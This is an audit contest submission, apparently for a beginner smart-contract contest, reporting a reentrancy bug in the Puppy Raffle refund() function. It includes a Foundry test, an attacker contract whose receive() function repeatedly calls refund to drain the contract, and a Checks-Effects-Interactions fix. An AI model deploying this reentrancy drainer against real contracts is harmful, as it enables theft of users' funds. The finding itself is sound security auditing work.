First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy during refund

WangSecurity

Summary

There is a reentrancy vulnerability during the refund, because deleting of a player from the players array is done after the external call to return money

Vulnerability Details

When user wants to refund their ticket, the actual transfer of money is made by an external call and executed by the user. The players array (state veriable) is being changed after the transfer of money. Thus, user can return to the contract and send funds again before they are deleted from the array.
Code of the Test:

function testRefundReentrancy() public playerEntered { // playerEntered modifier is the one created by devs
address[] memory players = new address[](1); // we manually add a second player
players[0] = playerTwo;
puppyRaffle.enterRaffle{value: entranceFee}(players);
address[] memory second = new address[](1); // now we add attacker contract as the third player
second[0] = address(attack);
puppyRaffle.enterRaffle{value: entranceFee}(second);
attack.attack(); // the code of the attack described below
}

Code of the Attack:

function attack() external payable{ // function to actually attack PuppyRaffle
console.log("balance Attacker before: ", address(this).balance); //to have traction of the initial balance of attacker
console.log("balance Puppy before: ", address(puppyRaffle).balance); // to have traction of the initial balance of the puppy raffle
puppyRaffle.refund(2); // attacker contract calls refund (2 is the index of attacker contract inside puppuRaffle.players.
}
​
receive() external payable { //it is called after the contract get money refunded from PuppyRaffle
console.log("Address attack balance: ", address(this).balance); // to track the increase of attacker's balance
console.log("Address puppy balance: ", address(puppyRaffle).balance); // to track the reduction of puppyRaffle's balance
if (address(puppyRaffle).balance >= entranceFee) { if there are other not refunded fees inside puppyRaffle,
puppyRaffle.refund(2); // we call refund again, because we weren't deleted from players array yet.
}
}

Impact

Impact is very high, because bad actor may drain the entire protocol and get all the funds, even the ones that weren't claimed by the owner before. Thus, the impact is considered high (funds are directly at risk).

Tools Used

Foundry, DeFiVulnLabs (https://github.com/SunWeb3Sec/DeFiVulnLabs/tree/main/src/test)

Recommendations

Follow Checks, Effects, Interactions pattern and move up the deletion of player from the players array before the actual transfer of funds:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
players[playerIndex] = address(0);
​
payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.